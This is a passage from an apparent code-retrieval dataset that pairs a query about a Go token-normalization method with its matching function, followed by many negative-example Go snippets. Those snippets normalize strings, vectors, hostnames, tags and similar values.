\"0.5677541\",\n \"0.56499606\",\n \"0.5647382\",\n \"0.5608704\",\n \"0.56054014\",\n \"0.5588619\",\n \"0.55603504\",\n \"0.54945457\",\n \"0.54938656\",\n \"0.5490516\",\n \"0.54829323\",\n \"0.5466834\",\n \"0.54007\",\n \"0.539001\",\n \"0.537833\",\n \"0.53745246\",\n \"0.5371688\",\n \"0.53645146\",\n \"0.5350431\",\n \"0.5338855\",\n \"0.53277516\",\n \"0.5304083\",\n \"0.5303335\",\n \"0.5302906\",\n \"0.5251439\"\n]"},"document_score":{"kind":"string","value":"0.7813377"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106190,"cells":{"query":{"kind":"string","value":"normalized returns a string of the normalized tokens concatenated with a single space. This is used by the diff algorithm. TODO: it'd be more efficient to have the diff algorithm work with the raw tokens directly and avoid these ephemeral allocations."},"document":{"kind":"string","value":"func (d *indexedDocument) normalized() string {\n\tvar w strings.Builder\n\tfor i, t := range d.Tokens {\n\t\tw.WriteString(d.dict.getWord(t.ID))\n\t\tif (i + 1) != d.size() {\n\t\t\tw.WriteString(\" \")\n\t\t}\n\t}\n\treturn w.String()\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (h *FriendlyHost) Normalized() string {\n\thost, err := svchost.ForComparison(h.Raw)\n\tif err != nil {\n\t\treturn InvalidHostString\n\t}\n\treturn string(host)\n}","func Normalize(s string) string {\n\ts = strings.ToLower(s)\n\ts = nonalpha.ReplaceAllString(s, \" \")\n\ts = encodings.ReplaceAllString(s, \"\")\n\ts = spaces.ReplaceAllString(s, \" \")\n\ts = strings.TrimSpace(s)\n\treturn s\n}","func Normalize(s string) string {\n\ts = reDeleteCriterion.ReplaceAllString(s, \"\")\n\treturn s\n}","func (t *Ticket) Normalize() (string, string) {\n\n\twords := t.Words()\n\twords = t.Expand(words)\n\twords = t.Capitalize(words)\n\twords = t.Exchange(words)\n\twords = t.Eliminate(words)\n\n\tsection := strings.Join(append(words, t.Number()), \" \")\n\n\treturn t.Complete(section), t.capitalize(t.Row)\n}","func normalizeWhitespace(x string) string {\n\tx = strings.Join(strings.Fields(x), \" \")\n\tx = strings.Replace(x, \"( \", \"(\", -1)\n\tx = strings.Replace(x, \" )\", \")\", -1)\n\tx = strings.Replace(x, \")->\", \") ->\", -1)\n\treturn x\n}","func (d *Definitions) Normalize() {\n\tmaxLength, max := 0, 0\n\tfor _, definition := range *d {\n\t\tif length := len(definition.Sense); length > maxLength {\n\t\t\tmaxLength = length\n\t\t}\n\t\tfor _, sense := range definition.Sense {\n\t\t\tif length := len([]rune(sense)); length > max {\n\t\t\t\tmax = length\n\t\t\t}\n\t\t}\n\t}\n\tfiller := \"\"\n\tfor i := 0; i < max; i++ {\n\t\tfiller += \" \"\n\t}\n\tfor i, definition := range *d {\n\t\tfor _, sense := range definition.Sense {\n\t\t\tfill := max - len(sense)\n\t\t\tfor j := 0; j < fill; j++ {\n\t\t\t\t(*d)[i].Ordinal += \" \"\n\t\t\t}\n\t\t\t(*d)[i].Ordinal += sense\n\t\t}\n\t}\n}","func Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) && !unicode.IsNumber(c)\n\t}\n\t// get function\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}","func (v Vec) Normalized() Vec {\n\treturn v.Copy().Normalize()\n}","func Normalize(s string) string {\n\n // A transformation to remove non-spacing marks.\n markT := func(r rune) bool { return unicode.Is(unicode.Mn, r) }\n\n // A transformation to remove clean non-letter runes.\n mappingT := func(r rune) rune {\n if !validRune[r] {\n return ' '\n }\n return r\n }\n\n // A chain of transformation for a string.\n t := transform.Chain(\n norm.NFKD,\n transform.RemoveFunc(markT),\n runes.Map(mappingT),\n )\n\n r := transform.NewReader(strings.NewReader(s), t)\n buf := new(bytes.Buffer)\n buf.ReadFrom(r)\n\n trimmed := strings.Trim(space.ReplaceAllString(buf.String(), \" \"), \" \")\n\n return strings.ToLower(trimmed)\n}","func Normalize(input string) (result string, err error) {\n\treturn parser.Normalize(input)\n}","func normalizeStr(v string) string {\n\tv = strings.TrimSpace(v)\n\tv = regexp.MustCompile(`[^\\S\\r\\n]+`).ReplaceAllString(v, \" \")\n\tv = regexp.MustCompile(`[\\r\\n]+`).ReplaceAllString(v, \"\\n\")\n\n\treturn v\n}","func NormalizeWhitespace(s string) string {\n\treturn S.Join(S.Fields(s), \" \")\n}","func Normalize(dataArray []byte) string {\n\tdata := strings.ReplaceAll(string(dataArray), \"\\r\", \" \")\n\tdata = strings.ReplaceAll(data, \"\\n\", \" \")\n\tdata = strings.ReplaceAll(data, \"\\t\", \" \")\n\tfor strings.Index(data, \" \") >= 0 {\n\t\tdata = strings.ReplaceAll(data, \" \", \" \")\n\t}\n\treturn strings.TrimSpace(data)\n}","func Normalize(s string) string {\n\tif r, _, err := transform.String(\n\t\ttransform.Chain(\n\t\t\tnorm.NFD,\n\t\t\trunes.Remove(runes.In(unicode.Mn)),\n\t\t\tnorm.NFC,\n\t\t),\n\t\tstrings.ToLower(s),\n\t); err == nil {\n\t\treturn r\n\t}\n\n\treturn s\n}","func (v Vec3) Normalized() Vec3 {\n\tf := 1.0 / v.Norm()\n\treturn Vec3{f * v[0], f * v[1], f * v[2]}\n}","func (v *RelaxedVersion) NormalizedString() NormalizedString {\n\tif v == nil {\n\t\treturn \"\"\n\t}\n\tif v.version != nil {\n\t\treturn v.version.NormalizedString()\n\t}\n\treturn NormalizedString(v.customversion)\n}","func (a Vec4) Normalized() Vec4 {\n\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y + a.Z*a.Z + a.W*a.W)\n\treturn Vec4{a.X / length, a.Y / length, a.Z / length, a.W / length}\n}","func (a Vec2) Normalized() (v Vec2, ok bool) {\n\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y)\n\tif Equal(length, 0) {\n\t\treturn Vec2Zero, false\n\t}\n\treturn Vec2{\n\t\ta.X / length,\n\t\ta.Y / length,\n\t}, true\n}","func (q1 Quat) Normalize() Quat {\n\tlength := q1.Len()\n\n\tif FloatEqual(1, length) {\n\t\treturn q1\n\t}\n\tif length == 0 {\n\t\treturn QuatIdent()\n\t}\n\tif length == InfPos {\n\t\tlength = MaxValue\n\t}\n\n\treturn Quat{q1.W * 1 / length, q1.V.Mul(1 / length)}\n}","func (gdt *Vector3) Normalized() Vector3 {\n\targ0 := gdt.getBase()\n\n\tret := C.go_godot_vector3_normalized(GDNative.api, arg0)\n\n\treturn Vector3{base: &ret}\n\n}","func NormalizeTag(v string) string {\n\treturn normalize(v, true)\n}","func NormalizedName(s string) string {\n\treturn strings.Map(normalizedChar, s)\n}","func (n Notes) Normalized() Notes {\n\tnotes := make(Notes, 0)\n\tfor _, v := range n {\n\t\tnotes = append(notes, v.Normalize())\n\t}\n\n\treturn notes\n}","func (q Quat) Normalize() Quat {\n\tlength := q.Length()\n\tif length == 1 { // shortcut\n\t\treturn q\n\t}\n\treturn Quat{q.W / length, q.X / length, q.Y / length, q.Z / length}\n}","func (v Quat) Normalize() Quat {\n\tl := v.Length()\n\tif l != 0 {\n\t\tv.W /= l\n\t\tv.X /= l\n\t\tv.Y /= l\n\t\tv.Z /= l\n\t}\n\treturn v\n}","func normalize(phone string) string {\n\t// bytes buffer is more efficient than string concatenation with +\n\tvar buf bytes.Buffer\n\tfor _, ch := range phone {\n\t\tif ch >= '0' && ch <= '9' {\n\t\t\t// WriteRune: appends UTF-8 of input to buffer\n\t\t\tbuf.WriteRune(ch)\n\t\t}\n\t}\n\n\treturn buf.String()\n}","func JoinNormalized(n Normalization, base string, elem ...string) (string, error) {\n\tif n == NoNorm {\n\t\treturn filepath.Join(append([]string{base}, elem...)...), nil\n\t}\n\treturn joinFold(n == FoldPreferExactNorm, base, elem...)\n}","func normalize(s string) string {\n\treturn strings.Replace(s, \"_\", \"-\", -1)\n}","func normalizeMetricName(s string) string {\n\tr1 := regWhitespace.ReplaceAllLiteral([]byte(s), []byte{'_'})\n\tr2 := bytes.Replace(r1, []byte{'/'}, []byte{'-'}, -1)\n\treturn string(regNonAlphaNum.ReplaceAllLiteral(r2, nil))\n}","func (event *MichelsonInitialStorage) Normalize(value *ast.TypedAst) []byte {\n\tb, err := value.ToParameters(\"\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn b\n}","func normalize(d []byte) []byte {\n\t// Source: https://www.programming-books.io/essential/go/normalize-newlines-1d3abcf6f17c4186bb9617fa14074e48\n\t// replace CR LF \\r\\n (windows) with LF \\n (unix)\n\td = bytes.Replace(d, []byte{13, 10}, []byte{10}, -1)\n\t// replace CF \\r (mac) with LF \\n (unix)\n\td = bytes.Replace(d, []byte{13}, []byte{10}, -1)\n\treturn d\n}","func NormalizeTag(tag string) string {\n\ttag = strings.ToLower(tag)\n\treturn strings.Replace(tag, \"_\", \"-\", -1)\n}","func (u *User) Normalize() {\n\tu.Email = strings.TrimSpace(u.Email)\n\tu.Name = strings.TrimSpace(u.Name)\n\t// removes all non-number char, including + sign\n\tu.Phone = regexp.MustCompile(`\\D`).ReplaceAllString(strings.TrimSpace(u.Phone), \"\")\n\tr := regexp.MustCompile(\"^0+\")\n\tif r.MatchString(u.Phone) {\n\t\tu.Phone = r.ReplaceAllString(u.Phone, \"\")\n\t\tu.Phone = fmt.Sprintf(\"62%s\", u.Phone)\n\t}\n\n\tu.Password = strings.TrimSpace(u.Password)\n}","func (n *composableNormalizer) Normalize(un *unstructured.Unstructured) error {\n\tfor i := range n.normalizers {\n\t\tif err := n.normalizers[i].Normalize(un); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func canonicalizeToken(tok string, pkg schema.PackageReference) string {\n\t_, _, member, _ := DecomposeToken(tok, hcl.Range{})\n\treturn fmt.Sprintf(\"%s:%s:%s\", pkg.Name(), pkg.TokenToModule(tok), member)\n}","func (v *Vector) Normalize() *Vector {\n\tw := snrm2(len(v.vec), v.vec)\n\tsscal(len(v.vec), 1/w, v.vec)\n\treturn v\n}","func precompute(s string) string {\n\ttrimmed := strings.TrimSpace(strings.ToLower(punctuationReplacer.Replace(s)))\n\n\t// UTF-8 normalization\n\tt := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC) // Mn: nonspacing marks\n\tresult, _, _ := transform.String(t, trimmed)\n\treturn result\n}","func Normalize(v Vect) Vect {\n\t// Neat trick I saw somewhere to avoid div/0.\n\treturn Mult(v, 1.0/(Length(v)+f.FloatMin))\n}","func normalize(s string) string {\n\tvar sb strings.Builder\n\tfor _, c := range s {\n\t\tif !unicode.IsLetter(c) && !unicode.IsNumber(c) {\n\t\t\tcontinue\n\t\t}\n\t\tsb.WriteRune(unicode.ToLower(c))\n\t}\n\treturn sb.String()\n}","func (v *Vector) Normalize() *Vector {\n\tl := v.Length()\n\treturn &Vector{X: v.X / l, Y: v.Y / l, Z: v.Z / l}\n}","func NewNormalizer() *Normalizer { return &Normalizer{Norm: \"l2\", Axis: 1} }","func NewNormalizer() Normalizer {\n\tentity := Normalizer{\n\t\tversion: \"0.1.0\",\n\t\tname: \"Local Git Repository\",\n\t\tslug: \"local-git\",\n\t}\n\n\treturn entity\n}","func (vn *VecN) Normalize(dst *VecN) *VecN {\n\tif vn == nil {\n\t\treturn nil\n\t}\n\n\treturn vn.Mul(dst, 1/vn.Len())\n}","func normalizeNewTeamName(in string) (out string) {\n\tout = in\n\tif len(out) > 50 {\n\t\tout = out[:50]\n\t}\n\tout = strings.TrimSpace(out)\n\tif strings.HasPrefix(strings.ToLower(out), \"the \") {\n\t\tout = strings.TrimSpace(out[3:])\n\t}\n\t// \"Team Burninators\" and \"Burninators\" are two ways of saying same thing\n\tif strings.HasPrefix(strings.ToLower(out), \"team \") {\n\t\tout = strings.TrimSpace(out[4:])\n\t}\n\tout = strings.TrimSpace(out)\n\tif strings.HasPrefix(out, \"/\") {\n\t\tout = strings.Replace(out, \"/\", \"-\", 1)\n\t}\n\tif strings.HasPrefix(out, \".\") {\n\t\tout = strings.Replace(out, \".\", \"-\", 1)\n\t}\n\treturn\n}","func Normalize(v *Vec) *Vec {\n\treturn Divide(v, v.Magnitude())\n}","func (p *Vect) Normalize() {\n\t// Neat trick I saw somewhere to avoid div/0.\n\tp.Mult(1.0 / (p.Length() + f.FloatMin))\n}","func preprocess(input string) string {\n input = strings.TrimRight(input, \"\\n.!\")\n input = strings.ToLower(input)\n\n formattedInput := strings.Split(input, \" \")\n\tfor i, word := range formattedInput {\n\t\tformattedInput[i] = strings.ToLower(strings.Trim(word, \".! \\n\"))\n }\n \n formattedInput = PostProcess(formattedInput)\n\n input = strings.Join(formattedInput,\" \")\n\n return input\n}","func TrimSpace(ctx context.Context, t *mold.Transformer, v reflect.Value) error {\n\tv.Set(reflect.ValueOf(strings.TrimSpace(v.String())))\n\treturn nil\n}","func TruncatedNormal(scope *Scope, shape tf.Output, dtype tf.DataType, optional ...TruncatedNormalAttr) (output tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\tattrs := map[string]interface{}{\"dtype\": dtype}\n\tfor _, a := range optional {\n\t\ta(attrs)\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"TruncatedNormal\",\n\t\tInput: []tf.Input{\n\t\t\tshape,\n\t\t},\n\t\tAttrs: attrs,\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}","func (v *Vector) Normalize() *Vector {\n\n\tif v.X == 0 && v.Y == 0 {\n\t\treturn &Vector{\n\t\t\tX: 0, Y: 0,\n\t\t}\n\t}\n\tmag := v.Length()\n\tx := (v.X / mag)\n\ty := (v.Y / mag)\n\treturn &Vector{\n\t\tX: x,\n\t\tY: y,\n\t}\n}","func (v Vector2) Normalize() Vector2 {\n\treturn v.ScalarMultiply(1.0 / v.Length())\n}","func (ed *Data) Normalize(raw string, opts StripOpts) string {\n\tpending := []rune{0}\n\n\t// #0: Special-case single rune tone modifiers, which appear in test data.\n\tvar singleTone bool\n\tfor i, r := range raw {\n\t\tif i == 0 && IsSkinTone(r) {\n\t\t\tsingleTone = true\n\t\t} else {\n\t\t\tsingleTone = false\n\t\t\tbreak\n\t\t}\n\t}\n\tif singleTone {\n\t\treturn raw\n\t}\n\n\t// #1: Remove VS16 and other modifiers.\n\tfor _, r := range raw {\n\t\tif r == runeVS16 {\n\t\t\t// remove VS16\n\t\t\tcontinue\n\t\t} else if IsSkinTone(r) {\n\t\t\tif opts.Tone {\n\t\t\t\t// strip without checking\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tl := len(pending)\n\t\t\tif d, ok := ed.emoji[pending[l-1]]; ok && d.modifierBase {\n\t\t\t\t// great, skin tone is valid here\n\t\t\t\tpending = append(pending, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t} else if IsGender(r) && opts.Gender {\n\t\t\t// remove gender modifiers\n\t\t\tl := len(pending)\n\t\t\tif pending[l-1] == runeZWJ {\n\t\t\t\t// ... and drop a previous ZWJ if we find one\n\t\t\t\tpending = pending[:l-1]\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tpending = append(pending, r)\n\t}\n\tpending = append(pending, 0)\n\n\t// #2: Iterate chars, removing non-emoji.\n\tlp := len(pending) - 1\n\tout := make([]rune, 0, lp)\n\tvar pendingZWJ int\n\tvar allowZWJ int\n\tfor i := 1; i < lp; i++ {\n\t\tr := pending[i]\n\t\tif r == runeZWJ {\n\t\t\tif allowZWJ == i {\n\t\t\t\tpendingZWJ = i + 1 // add it before valid rune at next index\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tprev := pending[i-1]\n\n\t\tif r == runeCap {\n\t\t\t// allow if previous was number\n\t\t\tif IsBeforeCap(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t\tallowZWJ = i + 1\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTag(r) {\n\t\t\t// allow if following a base or previous tag\n\t\t\tif IsTagBase(prev) || IsTag(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTagCancel(r) {\n\t\t\t// allow if following a tag\n\t\t\tif IsTag(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTag(prev) {\n\t\t\t// cancel the tag sequence if we got this far\n\t\t\tout = append(out, runeTagCancel)\n\t\t}\n\n\t\tif IsSkinTone(r) {\n\t\t\t// skin tone counts as a VS16, so look for a previous tone\n\t\t\tallowZWJ = i + 1\n\t\t\tl := len(out)\n\t\t\tif out[l-1] == runeVS16 {\n\t\t\t\tout[l-1] = r\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tout = append(out, r)\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsFlagPart(r) {\n\t\t\t// just allow\n\t\t\t// TODO(samthor): Are these part of the data? Do we need this branch?\n\t\t\tout = append(out, r)\n\t\t\tcontinue\n\t\t}\n\n\t\tif d, ok := ed.emoji[r]; ok {\n\t\t\tif pendingZWJ == i {\n\t\t\t\tout = append(out, runeZWJ)\n\t\t\t}\n\n\t\t\tout = append(out, r)\n\t\t\tif d.unqualified {\n\t\t\t\tif IsSkinTone(pending[i+1]) {\n\t\t\t\t\t// do nothing as this acts as a VS16\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// stick a VS16 on the end\n\t\t\t\tout = append(out, runeVS16)\n\t\t\t}\n\t\t\tallowZWJ = i + 1\n\t\t\tcontinue\n\t\t}\n\t}\n\n\t// #3: Profit!\n\treturn string(out)\n}","func TestNormalizeString(t *testing.T) {\n\tvar ReplaceTests = []struct {\n\t\tin string\n\t\tout\t string\n\t}{\n\t\t{\"Lazy -_Dog\", \"LazyDog\"},\n\t}\n\tfor _,r := range(ReplaceTests) {\n\t\tassert.Equal(t,normalizeString(r.in),r.out, \"strings don't match expected output\")\n\t}\n}","func (m Tags) Normalize() []model.Tag {\n\tresult := make(ByScope, len(m))\n\tcnt := 0\n\tfor _, t := range m {\n\t\tresult[cnt] = t\n\t\tcnt++\n\t}\n\tsort.Sort(result)\n\treturn result\n}","func NormalizeSymbol(symbol string) string {\n\treturn symbol\n}","func normalize(key string) string {\n\t// drop runes not in '[a-zA-Z0-9_]', with lowering\n\t// ':' is also dropped\n\treturn strings.Map(func(r rune) rune {\n\t\tif (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' {\n\t\t\treturn r\n\t\t}\n\t\tif r >= 'A' && r <= 'Z' {\n\t\t\treturn 'a' + (r - 'A')\n\t\t}\n\t\treturn -1\n\t}, key)\n}","func (k *Kernel) Normalized() ConvolutionMatrix {\n\tsum := absum(k)\n\tw := k.Width\n\th := k.Height\n\tnk := NewKernel(w, h)\n\n\t// avoid division by 0\n\tif sum == 0 {\n\t\tsum = 1\n\t}\n\n\tfor i := 0; i < w*h; i++ {\n\t\tnk.Matrix[i] = k.Matrix[i] / sum\n\t}\n\n\treturn nk\n}","func normalizeQN(qn string) (s string) {\n\ts = strings.Replace(strings.Trim(qn, \"[]\"), \"].[\", \".\", -1)\n\treturn s\n}","func Normalize(stmt Statement, reserved *ReservedVars, bindVars map[string]*querypb.BindVariable) error {\n\tnz := newNormalizer(reserved, bindVars)\n\t_ = SafeRewrite(stmt, nz.walkStatementDown, nz.walkStatementUp)\n\treturn nz.err\n}","func (t *Tuple) Normalize() *Tuple {\n\tmag := t.Magnitude()\n\tif mag == 0.0 {\n\t\treturn t\n\t}\n\treturn Vector(t.x/mag, t.y/mag, t.z/mag)\n\n}","func NormalizeSummonerName(summonerNames ...string) []string {\n\tfor i, v := range summonerNames {\n\t\tsummonerName := strings.ToLower(v)\n\t\tsummonerName = strings.Replace(summonerName, \" \", \"\", -1)\n\t\tsummonerNames[i] = summonerName\n\t}\n\treturn summonerNames\n}","func wordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\tif strings.Contains(name, \"_\") {\n\t\treturn pflag.NormalizedName(strings.Replace(name, \"_\", \"-\", -1))\n\t}\n\treturn pflag.NormalizedName(name)\n}","func (n Normalizer) Normalize(env []string) []string {\n\tvar normalized []string\n\n\t// common\n\tnormalized = append(normalized, \"NCI=true\")\n\tnormalized = append(normalized, \"NCI_VERSION=\"+n.version)\n\tnormalized = append(normalized, \"NCI_SERVICE_NAME=\"+n.name)\n\tnormalized = append(normalized, \"NCI_SERVICE_SLUG=\"+n.slug)\n\n\t// server\n\tnormalized = append(normalized, \"NCI_SERVER_NAME=local\")\n\tnormalized = append(normalized, \"NCI_SERVER_HOST=localhost\")\n\tnormalized = append(normalized, \"NCI_SERVER_VERSION=\")\n\n\t// worker\n\tnormalized = append(normalized, \"NCI_WORKER_ID=local\")\n\tnormalized = append(normalized, \"NCI_WORKER_NAME=\")\n\tnormalized = append(normalized, \"NCI_WORKER_VERSION=\")\n\tnormalized = append(normalized, \"NCI_WORKER_ARCH=\"+runtime.GOOS+\"/\"+runtime.GOARCH)\n\n\t// pipeline\n\tnormalized = append(normalized, \"NCI_PIPELINE_TRIGGER=manual\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_STAGE_NAME=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_STAGE_SLUG=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_JOB_NAME=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_JOB_SLUG=\")\n\n\t// container registry\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_HOST=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_HOST\"))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_REPOSITORY=\"+common.GetEnvironmentOrDefault(env, \"NCI_CONTAINERREGISTRY_REPOSITORY\", strings.ToLower(common.GetDirectoryNameFromPath(common.GetGitDirectory()+string(os.PathSeparator)+\".git\"))))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_USERNAME=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_USERNAME\"))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_PASSWORD=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_PASSWORD\"))\n\n\t// project\n\tnormalized = append(normalized, \"NCI_PROJECT_ID=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_NAME=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_SLUG=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_DIR=\"+common.GetGitDirectory())\n\n\t// repository\n\tnormalized = append(normalized, common.GetSCMArguments(common.GetGitDirectory())...)\n\n\treturn normalized\n}","func (e *JobExecutor) normalizeCmd(cmd []string) string {\n\tconst whiteSpace = \" \"\n\n\tnormalizedCmd := make([]string, 0, len(cmd))\n\tvars := []string{}\n\tfor idx, c := range cmd {\n\t\tc = strings.Trim(c, whiteSpace)\n\t\tif strings.Contains(c, whiteSpace) {\n\t\t\t// contains multiple command\n\t\t\tvars = append(vars, fmt.Sprintf(\"VAR%d=$(cat <<-EOS\\n%s\\nEOS\\n)\", idx, c))\n\t\t\tnormalizedCmd = append(normalizedCmd, fmt.Sprintf(`\"$VAR%d\"`, idx))\n\t\t} else {\n\t\t\tnormalizedCmd = append(normalizedCmd, c)\n\t\t}\n\t}\n\tcmdText := strings.Join(normalizedCmd, \" \")\n\tif len(vars) == 0 {\n\t\t// simple command\n\t\treturn cmdText\n\t}\n\treturn fmt.Sprintf(\"%s; %s\", strings.Join(vars, \";\"), cmdText)\n}","func (manager *ComposeStackManager) NormalizeStackName(name string) string {\n\treturn stackNameNormalizeRegex.ReplaceAllString(strings.ToLower(name), \"\")\n}","func (a Addr) Normalize() string {\n\t// separate host and port\n\taddr, port, err := net.SplitHostPort(string(a))\n\tif err != nil {\n\t\taddr, port, _ = net.SplitHostPort(string(a) + \":53\")\n\t}\n\treturn net.JoinHostPort(addr, port)\n}","func StandardizeSpaces(s string) string {\n\treturn strings.Join(strings.Fields(s), \" \")\n}","func normalizeHelper(number string,\n\tnormalizationReplacements map[rune]rune,\n\tremoveNonMatches bool) string {\n\n\tvar normalizedNumber = NewBuilder(nil)\n\tfor _, character := range number {\n\t\tnewDigit, ok := normalizationReplacements[unicode.ToUpper(character)]\n\t\tif ok {\n\t\t\tnormalizedNumber.WriteRune(newDigit)\n\t\t} else if !removeNonMatches {\n\t\t\tnormalizedNumber.WriteRune(character)\n\t\t}\n\t\t// If neither of the above are true, we remove this character.\n\t}\n\treturn normalizedNumber.String()\n}","func Normalize(t Tuplelike) Tuplelike {\n\treturn Divide(t, Magnitude(t))\n}","func Normalize(color string) string {\n\t//normalize color\n\tif len(color) > 1 {\n\t\tif color[0] == '#' {\n\t\t\tif len(color) == 7 {\n\t\t\t\tcolor = \"FF\" + color[1:]\n\t\t\t} else {\n\t\t\t\tcolor = color[1:]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn strings.ToUpper(color)\n}","func Normalize(input string) string {\n\tre := regexp.MustCompile(extendedKoreanRegex)\n\tendingNormalized := re.ReplaceAllStringFunc(\n\t\tinput,\n\t\tfunc(m string) string {\n\t\t\treturn normalizeEnding(m)\n\t\t},\n\t)\n\n\texclamationNormalized := removeRepeatingChar(endingNormalized)\n\trepeatingNormalized := normalizeRepeating(exclamationNormalized)\n\tcodaNNormalized := normalizeCodaN(repeatingNormalized)\n\ttypoCorrected := correctTypo(codaNNormalized)\n\n\treturn typoCorrected\n}","func strim(in token.Token) token.Token {\n\tswitch in.Kind() {\n\tcase token.TK_ID, token.TK_BOOL:\n\t\treturn toLower(in)\n\tcase token.TK_STRING:\n\t\treturn stripEnds(in)\n\tdefault:\n\t\treturn in\n\t}\n}","func WordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\tif strings.Contains(name, \"_\") {\n\t\treturn pflag.NormalizedName(strings.Replace(name, \"_\", \"-\", -1))\n\t}\n\treturn pflag.NormalizedName(name)\n}","func (b *Buffer) Normalize() *Buffer {\n\tw, h := b.Size()\n\tb.Cursor.Normalize(w, h)\n\treturn b\n}","func NormalizeLabel(label string) string {\n\n\t// Trivial case\n\tif len(label) == 0 {\n\t\treturn label\n\t}\n\n\t// Replace all non-alphanumeric runes with underscores\n\tlabel = strings.Map(sanitizeRune, label)\n\n\t// If label starts with a number, prepend with \"key_\"\n\tif unicode.IsDigit(rune(label[0])) {\n\t\tlabel = \"key_\" + label\n\t} else if strings.HasPrefix(label, \"_\") && !strings.HasPrefix(label, \"__\") && !featuregate.GetRegistry().IsEnabled(dropSanitizationGate.ID) {\n\t\tlabel = \"key\" + label\n\t}\n\n\treturn label\n}","func (s *Solution) Normalize() *Solution {\n\tclone := s.Clone()\n\n\tfor i, _ := range clone.Weighings {\n\t\tclone.Weighings[i] = NewWeighing(clone.Weighings[i].Pan(0).Sort(), clone.Weighings[i].Pan(1).Sort())\n\t}\n\tclone.flags |= NORMALISED &^ (CANONICALISED)\n\treturn clone\n}","func filterCharsAndNormalize(strData string) string {\n\tpattern := regexp.MustCompile(`[\\W_]+`)\n\treturn strings.ToLower(pattern.ReplaceAllString(strData, ` `))\n}","func signV4TrimAll(input string) string {\n\t// Compress adjacent spaces (a space is determined by\n\t// unicode.IsSpace() internally here) to one space and return\n\treturn strings.Join(strings.Fields(input), \" \")\n}","func NormalizeVersionName(version string) string {\n\tfor _, char := range TrimChars {\n\t\tversion = strings.ReplaceAll(version, char, \"\")\n\t}\n\treturn version\n}","func (o *SparseCloudSnapshotAccount) SetNormalizedTags(normalizedTags []string) {\n\n\to.NormalizedTags = &normalizedTags\n}","func Vnormalize(v Vect) Vect {\n\treturn goVect(C.cpvnormalize(v.c()))\n}","func NewNormalizer() *Normalizer {\n\treturn &Normalizer{\n\t\ttrans: transform.Chain(norm.NFD, runes.Remove(mn), norm.NFC),\n\t}\n}","func NormalizeString(s string) string {\n l := strings.ToLower(s)\n t := transform.Chain(norm.NFD, transform.RemoveFunc(isMn), norm.NFC)\n n, _, _ := transform.String(t, l)\n return n\n}","func normalizeHeader(header string) string {\n\tre := regexp.MustCompile(\"[[:^ascii:]]\")\n\treturn strings.ToLower(strings.TrimSpace(re.ReplaceAllLiteralString(header, \"\")))\n}","func Normalize(path string) string {\n\treturn filepath.Clean(filepath.ToSlash(path))\n}","func NormalizeName(s string) string {\n\treturn strings.ToLower(strings.TrimSpace(s))\n}","func (h Host) Normalize() string {\n\t// separate host and port\n\thost, _, err := net.SplitHostPort(string(h))\n\tif err != nil {\n\t\thost, _, _ = net.SplitHostPort(string(h) + \":\")\n\t}\n\treturn strings.ToLower(dns.Fqdn(host))\n}","func normalizeCommit(commit string) string {\n\tcommit = strings.TrimPrefix(commit, \"tags/\")\n\tcommit = strings.TrimPrefix(commit, \"origin/\")\n\tcommit = strings.TrimPrefix(commit, \"heads/\")\n\treturn commit\n}","func NormalizeString(word string) string {\n\tletters := []string{}\n\tfor _, letter := range word {\n\t\tletters = append(letters, strings.ToLower(string(letter)))\n\t}\n\tsort.Strings(letters)\n\treturn strings.Join(letters, \"\")\n}","func sanitizeMetricName(namespace string, v *view.View) string {\n\tif namespace != \"\" {\n\t\tnamespace = strings.Replace(namespace, \" \", \"\", -1)\n\t\treturn sanitizeString(namespace) + \".\" + sanitizeString(v.Name)\n\t}\n\treturn sanitizeString(v.Name)\n}","func (ss *Strings) Normalize() []string {\n\tls := make([]string, len(*ss))\n\n\tfor x, v := range *ss {\n\t\tls[x] = v\n\t}\n\n\treturn ls\n}","func Normalize(path string) string {\n\tif 